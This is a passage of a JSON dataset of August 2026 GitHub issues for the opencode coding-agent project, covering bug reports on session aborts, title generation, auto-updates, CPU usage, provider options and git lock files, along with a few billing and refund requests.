        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42286",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Abort leaves orphaned task calls pending",
        "text": "### Description If OpenCode loses the in-memory runner for a session while a `task` tool call is still persisted as `pending` or `running`, aborting the session only marks it idle. The parent assistant message and task part remain unfinished, so the transcript shows a task that never completed. The TUI startup path for `--continue --fork` can also briefly route through a placeholder session ID (`dummy`), which produces an invalid-session error instead of returning to home when no session is available. ### Steps to reproduce 1. Start a session that invokes the `task` tool. 2. Interrupt or restart the local runner after the task part is persisted but before it reaches a terminal state. 3. Abort the parent session. 4. Observe the task part still shown as `pending` or `running` and its assistant message left incomplete. For the fork path: 1. Run `opencode --continue --fork` with no resumable root session. 2. Observe the placeholder-session validation error. ### Expected behavior Abort should cancel any live runner, then settle orphaned `task` parts with an aborted error and complete their parent assistant message. `--continue --fork` should show a loading state and return home with an error when no session can be forked. ### Plugins None ### OpenCode version 1.18.x ### Operating System Linux ### Terminal Terminal emulator",
        "url": "https://github.com/anomalyco/opencode/issues/42286",
        "createdAt": "2026-08-13T09:03:48Z",
        "updatedAt": "2026-08-13T09:23:20Z",
        "timestamp": "2026-08-13T09:23:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "0xfed",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42287",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Session title silently empty when the title model is a reasoning model (returns only a `<think>` block)",
        "text": "### Description `ensureTitle()` generates the session title with the **small** model (`small: true`). When that model is a *reasoning* model (e.g. GLM-4.6 / Kimi K3 via OpenRouter), the completion is frequently reasoning-only: after the `<think>…</think>` strip in `ensureTitle`, the remaining text is empty. The function then hits `if (!cleaned) return` and the session silently keeps its default `New session - <timestamp>` title. It is intermittent (a reasoning model returns usable text on some turns, think-only on others), which matches the \"happens at times\" reports below. ### Affected code `packages/opencode/src/session/prompt.ts` — `ensureTitle()`: ```ts const cleaned = text .replace(/<think>[\\s\\S]*?<\\/think>\\s*/g, \"\") .split(\"\\n\").map(l => l.trim()).find(l => l.length > 0) if (!cleaned) return // reasoning-only output -> empty -> no title, silently ``` ### Steps to reproduce 1. Set the small/title model to a reasoning model (e.g. `openrouter/z-ai/glm-4.6`). 2. Start a new session and send a normal message. 3. On turns where the title model returns only reasoning, the title stays `New session - <timestamp>`. ### Root cause `ensureTitle` withholds the title whenever the model output is empty, instead of falling back to a deterministic source. Reasoning-only output is the common trigger. ### Related open issues Same symptom: #13710, #31592, #34257, #30662. Same underlying family (reasoning-only / empty output treated as a successful, empty result): #37372, #41469, #41571. ### Proposed fix Fall back to the first user message when the model output is empty — the title is then never withheld, regardless of *why* the model returned nothing. I have this change ready and will open a PR referencing this issue.",
        "url": "https://github.com/anomalyco/opencode/issues/42287",
        "createdAt": "2026-08-13T09:05:45Z",
        "updatedAt": "2026-08-13T09:06:42Z",
        "timestamp": "2026-08-13T09:06:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "adaline-ankit",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42288",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:对大模型的主动联网行为进行控制",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request 有时候，在使用agent完成任务时，我们不希望大模型有联网行为，虽然联网行为会得到更多的信息，但是这些信息可能是错误的或者不必要的。希望可以添加对大模型主动联网行为的控制，包括联网搜索抓取信息、从网络下载软件等综合行为，api连接等软件必须行为除外。在桌面版本的opencode下，我建议在输入框下和大模型的选择排在一起，添加按钮，简洁方便。",
        "url": "https://github.com/anomalyco/opencode/issues/42288",
        "createdAt": "2026-08-13T09:07:34Z",
        "updatedAt": "2026-08-13T12:21:41Z",
        "timestamp": "2026-08-13T12:21:41Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Qkk77",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42291",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Auto-updater breaks global npm install: stub binary + missing shims, hung npm processes left behind",
        "text": "## Bug Report: Auto-updater can permanently break the global install (stub binary + missing shims), and hung `npm install` processes keep running **Environment:** Windows 11 (10.0.26200), node v24.15.0, npm 11.12.1, opencode installed via `npm install -g opencode-ai` ### Summary On every startup, opencode spawns a **background** `npm install -g opencode-ai@<latest>` (the parent process of the npm process is the opencode.exe process itself). When the npm registry is unreachable/flaky (e.g. `ECONNRESET`), this install **hangs for 15+ minutes** and, when it finally progresses, it can leave the global installation in a broken state: 1. npm extracts the new tarball, which **overwrites `bin/opencode.exe` (the currently running binary!) with the 479-byte placeholder stub** that says \"Error: opencode-ai's postinstall script was not run.\" 2. npm removes the old bin shims (`opencode`, `opencode.cmd`, `opencode.ps1`) before creating new ones - the failed install leaves only `.opencode-*` temp files behind. 3. The postinstall then fails with `EBUSY: resource busy or locked` because the still-running opencode processes hold the old binary file (Windows locks running executables) - the install rolls back, but the shims are never recreated and the stub stays in place. ### Result - `opencode` is no longer recognized in new terminal sessions (command not found). - Even invoking the exe directly prints the \"postinstall was not run\" stub error. - Existing opencode sessions keep working (the old binary stays mapped in memory) - so the breakage is invisible until you open a new terminal. ### Observed evidence - `npm install -g opencode-ai@1.18.18` started at 16:49 and 16:56, parented by `cmd.exe /d /s /c` whose parent was the `opencode.exe` process (auto-update), **still alive/hung ~30 min later**. - npm debug log: `ECONNRESET Invalid response body while trying to fetch https://registry.npmjs.org/opencode-ai: aborted`. - After the failed install: `bin/opencode.exe` = 479-byte stub (LastWriteTime = the moment of the breakage), shims missing, `.opencode-UwDeVezx` / `.opencode.cmd-*` / `.opencode.ps1-*` temp files left behind. ### Suggested fixes 1. **Don't replace the binary in place while a process is running from it** - install/verify first, then atomically swap; or refuse to update when an opencode process is still running (on Windows this can never work). 2. **Verify postinstall succeeded before removing old bin links**, and restore the previous state on failure. 3. **Run the updater with a network timeout/retry limit** instead of hanging indefinitely in the background. 4. **Provide a supported way to disable auto-update** (e.g. `autoupdate: false`) - today there is no config option to opt out.",
        "url": "https://github.com/anomalyco/opencode/issues/42291",
        "createdAt": "2026-08-13T09:14:25Z",
        "updatedAt": "2026-08-13T09:15:42Z",
        "timestamp": "2026-08-13T09:15:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "hyp-type",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42293",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode zen DeepSeek V4 Flash Free requests fail with [invalid_bearer_credential]",
        "text": "### Description I was using opencode connected to DeepSeek V4 Flash Free on opencode zen, and most - *but not all*! - requests failed with an error, `Upstream request failed: [invalid_bearer_credential] Missing or invalid bearer credential` This happened with version 1.18.3. I upgraded to 1.18.18, and it kept happening. I then connected to DeepSeek V4 Flash on my opencode **go** subscription, and the request immediately succeeded, and kept working. ### Plugins None ### OpenCode version 1.18.18 ### Steps to reproduce 1. Connect to opencode zen 2. Choose DeepSeek V4 Flash (Free) as the model 3. Ask some number of requests, most of them seem to be failing at the time of reporting. ### Screenshot and/or share link With DeepSeek V4 Flash Free on OpenCode Zen: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bb2b2c90-7204-4f3b-a905-34dd47dcddbc\" /> With DeepSeek V4 Flash on OpenCode Go: <img width=\"1896\" height=\"1642\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ee91724e-6030-4604-a3e7-c53bfc1f5d7c\" /> ### Operating System Ubuntu 26.04 ### Terminal Ubuntu terminal",
        "url": "https://github.com/anomalyco/opencode/issues/42293",
        "createdAt": "2026-08-13T09:21:50Z",
        "updatedAt": "2026-08-13T17:59:10Z",
        "timestamp": "2026-08-13T17:59:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 12
        },
        "labels": [],
        "author": "cbrunschen",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:42294",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request i have made a top up of 10$...but open code go still giving message...free usage expired...what to do now",
        "url": "https://github.com/anomalyco/opencode/issues/42294",
        "createdAt": "2026-08-13T09:23:21Z",
        "updatedAt": "2026-08-13T11:45:56Z",
        "timestamp": "2026-08-13T11:45:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "gelfondnetworkofficial-max",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42295",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]:Token Usage & Cache Hit Dashboard per Session",
        "text": "### Describe the enhancement you want to request Add a live token usage and cache analytics panel visible during an active OpenCode session. This would display: - Total tokens consumed in the current session (input + output separately) - Cache hit count and cache hit ratio as a percentage - Estimated cost for the current session based on the model being used - A per-message breakdown showing tokens used per exchange Right now there is no visibility into how much context is being consumed during a session. This creates two problems. First, developers have no idea when they are approaching context limits until the model starts degrading in quality. Second, there is no way to evaluate whether caching is actually working effectively across a session. A token usage panel solves both. It helps developers make informed decisions about when to start a new session, which parts of their workflow are token-heavy, and whether their cache configuration is performing as expected. This is especially useful for long agentic sessions where token consumption compounds quickly and cost visibility matters.",
        "url": "https://github.com/anomalyco/opencode/issues/42295",
        "createdAt": "2026-08-13T09:49:22Z",
        "updatedAt": "2026-08-13T09:50:33Z",
        "timestamp": "2026-08-13T09:50:33Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "GuixJoy",
        "state": "open",
        "assignees": [
          "neriousy"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42298",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug] Desktop TUI: \"Files changed\" (last round) panel always empty on Windows, file/patch parts never persisted",
        "text": "**Environment** - OpenCode Desktop 1.18.18 (reproduced on 1.16.2 too) - Windows 11 - Workspace root `C:\\LiteWorkSpace` is NOT a git repo (git repos live in subdirectories) **Symptom** The right-side panel has two sections: \"Changes this round\" and \"Git changes\". The Git section always renders correctly, but \"Changes this round\" has been empty forever, even after edit/write tools successfully modified files in the session. **Evidence** Querying `opencode db` (part table) shows: - `tool` parts are persisted normally (4622 rows, edit tool parts include filePath in input) - `file` parts: only 1 row ever (old session) - `patch` parts: only 7 rows, all from June 2026 in a different workspace - Recent edit calls (after upgrading to 1.18.18) still produce zero file/patch parts **Suspicion** Likely related to #41399 (session file tracking for the same panel): the workspace root not being a git repo may break the file/patch persistence path. Most users run OpenCode inside a git repo root, which would explain why this is not widely reported",
        "url": "https://github.com/anomalyco/opencode/issues/42298",
        "createdAt": "2026-08-13T10:03:43Z",
        "updatedAt": "2026-08-13T12:40:04Z",
        "timestamp": "2026-08-13T12:40:04Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "eytazy1hae",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42299",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "serve: idle service burns 20-45% CPU in silent bursts from launch; memory creeps",
        "text": "## Summary A freshly launched, completely idle `serve` service (and its TUI client) burns 20–45% CPU in silent periodic bursts from launch onward, with no log output during the bursts and continuous SQLite WAL writes. RSS creeps upward (~2% of RAM in 6 minutes). Reproduces on every launch; not caused by autoupdate, sessions, activity, or terminal. ## Environment - opencode version: 0.0.0-next-17403 (also reproduced on 17364) - OS: macOS 26.5.2 (Darwin 25.5.0, arm64) - Terminal: ghostty 1.3.1 (TERM=xterm-ghostty); also reproduced inside `screen` (TERM=screen) - Shell: /bin/zsh - Install/channel: npm, `next` channel (nightly, autoupdate was enabled) - Active plugins: `local.notify` at `~/.config/opencode/plugins/notify.ts` (event-driven osascript notifications; inert when idle — not ruled out by bisect) ## Reproduction 1. Launch opencode2 (TUI) on a clean config — or fully detached: `screen -dmS opencode2 opencode2` 2. Leave it completely idle (no session open, no input) 3. Watch CPU for 5+ minutes: `ps -o pid,%cpu,%mem,etime,time -p <tui-pid> <service-pid>` Observed on a fresh detached pair (screen TUI + `serve --service`, no session ever opened, autoupdate disabled): | time since launch | service %CPU | idle TUI %CPU | |---|---|---| | 0:20 | 23.2 | 21.3 | | 0:50 | 0.8 | 14.1 | | 1:20 | 41.9 | 16.8 | | 2:00 | 43.5 | 23.7 | | 2:30 | 43.0 | 15.8 | | 3:30 | 0.3 | 0.3 | | ~4:30 | 37.1 | 14.1 | | 7:35 | 47.9 | 16.1 | The bursts are cyclic (roughly 2 minutes on, 1–2 minutes off) and persist indefinitely — the original pair ran 1h47m without settling. ## Expected Behavior An idle opencode service should idle: ~0% CPU, no sustained WAL growth, stable RSS. ## Actual Behavior - Service + TUI burn 20–45% CPU in silent bursts from launch, indefinitely - During bursts: nothing is logged (log tail frozen), but `opencode.db-wal` is written continuously (mtime tracks the burst) - Service RSS grows steadily during bursts (~3.9% → 6.1% of RAM in 6 minutes) - `sample` during a burst shows the service main thread in the event-loop dispatch with only ~78% of samples in `kevent64` (i.e. ~22% non-idle), and Bun Pool threads non-idle — no hard spin, but constant wake-up/do-work churn. JSC threads show `cond_wait` leaves (not a spin) - On 17364 one instance degraded into a hard spin (98.8% CPU, ignored SIGTERM, required SIGKILL) ## Additional Context - `\"autoupdate\": false` does NOT fix the bursts (measured on the fresh pair above) - With autoupdate enabled (the default on `next`), the service additionally runs an update check every ~10 min and a `catalog.updated` reload across all open project directories every ~5 min, each request taking 4–6 s server-side (http.span=4000000+). 626 update checks were logged over ~2 weeks of log. Found nightlies trigger `npm install` into the config dir, which cascades into 100–180 event bursts (config/agent/command/catalog.updated). This keeps service+TUI at 30–50% CPU permanently - Reproduced across two services (17364 and 17403) and two TUIs, including one with zero sessions - Full probe timeline: `/tmp/opencode_cpu_probe.log`; service stack during burst: `/tmp/sample25141.txt`; earlier TUI sample: `/tmp/sample2.txt` (available on request)",
        "url": "https://github.com/anomalyco/opencode/issues/42299",
        "createdAt": "2026-08-13T10:12:22Z",
        "updatedAt": "2026-08-13T10:21:20Z",
        "timestamp": "2026-08-13T10:21:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "kahlos",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42300",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Bug] v1 path drops variant body fields (e.g. \\reasoning_split`) for @ai-sdk/openai-compatible provider`",
        "text": "### Description ## Summary When using a custom `@ai-sdk/openai-compatible` provider with a model that has body-level options in its variant (e.g. `reasoning_split`), opencode's v1 path silently drops those fields from the actual HTTP request. The body schema constructed by `streamText` is missing fields that the user's variant config clearly defines. Verified by reverse engineering the 1.18.16 binary and by direct comparison with the AI SDK working correctly when given the same `providerOptions` shape. ## Environment - opencode version: `1.18.16` (binary) - opencode path: **v1** (default; not the opt-in `OPENCODE_EXPERIMENTAL_NATIVE_LLM` native runtime) - Provider: custom `@ai-sdk/openai-compatible` named `minimax-openai` pointing at `https://api.minimaxi.com/v1` - Model: `MiniMax-M3` (used as a representative; the bug is provider-agnostic, not MiniMax-specific) - Endpoint: `POST /v1/chat/completions` ## Config that triggers the bug ```json { \"provider\": { \"minimax-openai\": { \"npm\": \"@ai-sdk/openai-compatible\", \"name\": \"MiniMax\", \"api\": \"https://api.minimaxi.com/v1\", \"options\": { \"baseURL\": \"https://api.minimaxi.com/v1\", \"apiKey\": \"{env:MiniMax_API_KEY}\" }, \"models\": { \"MiniMax-M3\": { \"name\": \"MiniMax-M3\", \"reasoning\": true, \"request\": { \"variant\": \"thinking\" }, \"variants\": { \"thinking\": { \"thinking\": { \"type\": \"adaptive\" }, \"reasoning_split\": true } } } } } } } ``` Expected behavior The HTTP body sent to https://api.minimaxi.com/v1/chat/completions should include both thinking: { type: \"adaptive\" } and reasoning_split: true because both come from the active thinking variant. With reasoning_split: true, MiniMax's OpenAI-compatible API returns: - delta.reasoning_content (clean thinking text) - delta.content (only the actual response, no <think>...</think> tags) Actual behavior The request body only contains thinking: { type: \"adaptive\" }. reasoning_split is missing. Because reasoning_split: true is not sent, MiniMax returns the model output with <think>...</think> blocks embedded directly in delta.content, while the parallel delta.reasoning / delta.reasoning_content fields stay empty or duplicated. End result: opencode shows the thinking text in the visible content of the assistant message instead of as a separate reasoning block. How I confirmed this is an opencode bug, not MiniMax / AI SDK 1. Direct AI SDK test (works correctly): import { createOpenAICompatible } from '@ai-sdk/openai-compatible' const oai = createOpenAICompatible({ name: 'minimax', baseURL: 'https://api.minimaxi.com/v1', apiKey: '...' }) const result = await oai('MiniMax-M3').doGenerate({ prompt: [{ role: 'user', content: [{ type: 'text', text: '一句话hi' }] }], maxOutputTokens: 100, temperature: 1, providerOptions: { minimax: { thinking: { type: 'adaptive' }, reasoning_split: true } } }) console.log(result.request.body) // → {\"model\":\"MiniMax-M3\",\"max_tokens\":100,\"temperature\":1, // \"thinking\":{\"type\":\"adaptive\"},\"reasoning_split\":true,\"messages\":[...]} The SDK puts both fields in the body and the response is split cleanly. 2. Reverse-engineering the 1.18.16 binary shows ProviderTransform.providerOptions produces { [X]: Y } where X is the provider slug and Y is the merged options. For an openai-compatible provider named minimax-openai, this should resolve to { minimax: { …, thinking, reasoning_split } }. I could not locate an exact point in the v1 path that strips the variant body, but the body that opencode ultimately sends to MiniMax is provably missing reasoning_split. 3. Same v1 path correctly emits other variant fields like thinking: { type: \"adaptive\" } — so the variant is being read; something downstream selectively drops reasoning_split. Likely root cause (to investigate) packages/opencode/src/provider/transform.ts → providerOptions returns the merged options, which is then handed to streamText as providerOptions.minimax = { thinking, reasoning_split, … }. The AI SDK's getArgs for @ai-sdk/openai-compatible (in the bundled binary) builds the body with: ...Object.fromEntries( Object.entries({ ...B[this.providerOptionsName], ...B[h(this.providerOptionsName)] }).filter(([d]) => !Object.keys(g.shape).includes(d)) ) with g.shape = { user, reasoningEffort, textVerbosity, strictJsonSchema }. So reasoning_split should pass through, and my standalone test confirms it does. The discrepancy suggests one of: - The providerOptions actually being passed to streamText from the v1 path does not contain reasoning_split (lost earlier in the request.ts → ProviderTransform.providerOptions chain). - Or the AI SDK bundle version inside 1.18.16 differs from the one I tested and has a stricter filter. I'd appreciate maintainer eyes on the v1 LLMRequestPrep.prepare → ProviderTransform.providerOptions chain (packages/opencode/src/session/llm/request.ts line 80–91, packages/opencode/src/provider/transform.ts line 1360). Workaround (until fixed) 1. Switch the model to a provider that natively understands the model's thinking protocol (e.g. @ai-sdk/anthropic against MiniMax's Anthropic-compatible endpoint https://api.minimaxi.com/anthropic). That endpoint returns structured thinking blocks and does not require reasoning_split. 2. Or opt into the v2 native runtime with OPENCODE_EXPERIMENTAL_NATIVE_LLM=1 and put body fields directly under request.body (the v2 path's withDefaults in packages/core/src/session/runner/model.ts propagates model.request.body to http.body). Reproduction # Use the config above, then: opencode run --model \"minimax-openai/MiniMax-M3\" --variant thinking \"一句话hi\" # In the response you will see <think>...</think> in the assistant content, # which should not happen when reasoning_split: true is honored. Impact - Affects all openai-compatible providers where the upstream model needs extra body fields (e.g. reasoning_split, enable_thinking, chat_template_kwargs, custom vendor flags) configured via variants in opencode. - The fields silently disappear — no warning, no error in the log. - The model still works (it just returns thinking in a different shape), so users may not notice unless they inspect raw response content. --- ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42300",
        "createdAt": "2026-08-13T10:12:24Z",
        "updatedAt": "2026-08-13T12:18:10Z",
        "timestamp": "2026-08-13T12:18:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "josedeng-aaxis",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42301",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "I cannot use my OpenCode Go subscription",
        "text": "I added my API key to OpenCode subscription, but I was still showed that Rate limit exceeded. Please try again later, asking me to subscribe to OpenCode Go. Fix this please",
        "url": "https://github.com/anomalyco/opencode/issues/42301",
        "createdAt": "2026-08-13T10:21:42Z",
        "updatedAt": "2026-08-13T12:47:44Z",
        "timestamp": "2026-08-13T12:47:44Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "MiaoJaiGei",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42302",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Windows] Task list hangs and becomes unresponsive when interacting with todos",
        "text": "1. Description 在 Windows 上使用 OpenCode 时，待办任务（Todo/Task）列表经常卡住，无法进行任何变更操作，也不会推进到下一步。 2. Expected Behavior - 任务应能正常推进，从\"待办\"变为\"进行中\"再到\"已完成\" - 不应因任务数量或任务状态而卡住 如下图所示，此时开发计划已接近尾声，但还停留在错误的阶段。 <img width=\"1404\" height=\"548\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/27bb9adc-a3e7-4f9a-881a-24e526b887a2\" />",
        "url": "https://github.com/anomalyco/opencode/issues/42302",
        "createdAt": "2026-08-13T10:23:24Z",
        "updatedAt": "2026-08-13T12:47:42Z",
        "timestamp": "2026-08-13T12:47:42Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "AlanNiew",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42304",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": ".git/index.lock stuck with \"Resource busy\" (EBUSY) — opencode holds `.git` dir open on encrypted APFS volume",
        "text": "### Description ## What happened While working in a repository on an encrypted APFS volume, opencode performed git operations (status/diff/log, then later a commit attempt). A `.git/index.lock` file appeared and became permanently stuck: - `rm`, `mv`, and `python os.unlink()` on `.git/index.lock` all fail with `Resource busy` (errno 16 / EBUSY). - `lsof .git/index.lock` (and a search by inode) reports **no** holder. - The lock file is **0 bytes**. ## Evidence / diagnosis - The opencode process holds the repository root and the `.git` directory open as **directory file descriptors** (e.g. `49r`, `54r`, `55r` → `.git` and repo cwd), even when it is not actively running a git command. - The 0-byte lock suggests a git process created it via `O_CREAT|O_EXCL` and was interrupted before writing its content. - On this encrypted APFS volume, unlinking a file inside a directory that another process keeps open (combined with fseventsd/mds activity) returns EBUSY, so the lock cannot be cleared without terminating the holder. ## Workaround Bypassed the lock by pointing git at a temporary index file: ``` export GIT_INDEX_FILE=/tmp/idx-myproject git read-tree HEAD git add <file> git write-tree git commit-tree <tree> -p HEAD git update-ref HEAD <commit> ``` This works, but every subsequent normal `git` invocation inside the repo still hits the stuck lock. ## Questions / requested behavior 1. Does opencode keep the `.git` directory open as a directory watcher? If so, is it expected that this prevents `.git/index.lock` from being unlinked on macOS? 2. Should opencode clean up stray `.git/index.lock` files (or detect a dead lock) before running git operations? 3. Any known interaction with encrypted APFS volumes causing EBUSY on unlink? ### Plugins _No response_ ### OpenCode version 1.18.18 (installed via Homebrew, `/opt/homebrew/bin/opencode`) ### Steps to reproduce 1. On macOS, clone a repository onto an **encrypted APFS volume** (Cryptomator WebDav) (`/Volumes/CRYPT/...`). 2. Open the repo with opencode (`opencode`, v1.18.18) and let it run its normal startup git inspection (`git status`, `git diff`, `git log`). 3. Attempt a commit from within the opencode session (e.g. `git add` + `git commit`) while opencode is still running. 4. Interrupt / let the session move on — a `.git/index.lock` file is left behind (0 bytes). 5. Observe: - `ls -la .git/index.lock` → file present, 0 bytes. - `rm .git/index.lock` → `rm: .git/index.lock: Resource busy`. - `python3 -c \"import os; os.unlink('.git/index.lock')\"` → `OSError: [Errno 16] Resource busy`. - `lsof .git/index.lock` → no output (no visible holder). 6. Confirm opencode still holds the `.git` directory open: `lsof -p <opencode-pid> | grep '\\.git'` → DIR fds on `.git` and repo cwd. 7. Any subsequent `git add`/`git commit` inside the repo now fails with `fatal: Unable to create '.../.git/index.lock': File exists.`. av( ### Screenshot and/or share link _No response_ ### Operating System macOS 15.7.9, Apple Silicon ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42304",
        "createdAt": "2026-08-13T10:36:21Z",
        "updatedAt": "2026-08-13T11:50:01Z",
        "timestamp": "2026-08-13T11:50:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "swayll",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42305",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Refund Request – OpenCode Go Subscription",
        "text": "### Description Dear OpenCode Support Team, I’m writing to request a refund for my recent OpenCode Go subscription payment. I’m a student with a very limited budget, and after reviewing my finances, I realized that this subscription is more than I can reasonably afford at the moment. The payment has put some pressure on my available spending budget, so I would really appreciate it if you could make an exception and issue a refund for the recent subscription charge. I understand that refunds may be subject to your policies, but I kindly ask you to consider my situation and review this request manually. I’m not trying to misuse the service—I simply made a purchase that I now realize I cannot comfortably afford as a student. I would be very grateful if you could refund the recent charge and cancel the subscription so that I’m not charged again. Thank you very much for your time and consideration. I sincerely appreciate any help you can provide. Best regards, [zky6663p@gmail.com] ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/42305",
        "createdAt": "2026-08-13T10:38:00Z",
        "updatedAt": "2026-08-13T12:47:39Z",
        "timestamp": "2026-08-13T12:47:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "jayden264",
        "state": "closed",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42306",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI: main thread burns ~100% CPU continuously redrawing a spinner (~15fps writev to tty) with no active output",
        "text": "## Environment - opencode `1.18.18` (npm latest) - Linux x86_64, run in a terminal (`/dev/pts/*`) ## Observed (confirmed via strace + per-thread /proc sampling) - The TUI **main thread** holds ~1 full core (~94-100%) even when the user is not interacting. - `strace` shows the main thread repeatedly calling `writev(1, ...)` writing a ~106-byte spinner frame (~15 fps) to the tty, e.g. `\\x1b[?2026h\\x1b[?25l\\x1b[60;4H\\x1b[38;2;42;67;101m ... \\u2b1d\\u2b1d\\u2b1d ...`. - In the same window there are **no network / disk / log syscalls** — the CPU time is spent between the writes. - Behavior varies by process: in some instances the burn is entirely on the main thread (HeapHelper threads idle), in others HeapHelper threads also show elevated GC activity. ## Why this looks like a bug - Writing a 106-byte frame 15x/s should cost <1% CPU. The ~100% burn is in the rendering/layout work *before* each `writev`, and the spinner appears to keep animating even with no visible active turn, so the render loop never idles. ## Not yet determined (needs a perf profile) - Whether the spinner is \"stuck\" because a background task (e.g. title generation or a hung turn) never completes, **vs.** the render loop simply not being throttled. We did not capture a perf profile, so the exact hot function is unconfirmed. Filing this as a bug report rather than a definitive root cause. ## Impact - Each such session burns ~1 core and makes the terminal feel frozen/hung. We killed several `opencode -c` processes assuming a deadlock before tracing the actual CPU usage. ## Notes - `app_toggle_animations` keybind defaults to `none`, and there is no persistent config option to disable animations. - npm latest is `1.18.18`, so there is no newer version to try as a workaround. Happy to provide full strace output or a perf profile if that helps narrow it down.",
        "url": "https://github.com/anomalyco/opencode/issues/42306",
        "createdAt": "2026-08-13T10:52:44Z",
        "updatedAt": "2026-08-13T11:28:11Z",
        "timestamp": "2026-08-13T11:28:11Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "pudy",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:42307",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Tool call JSON payload truncated — all tools fail with 'Unterminated string in JSON'",
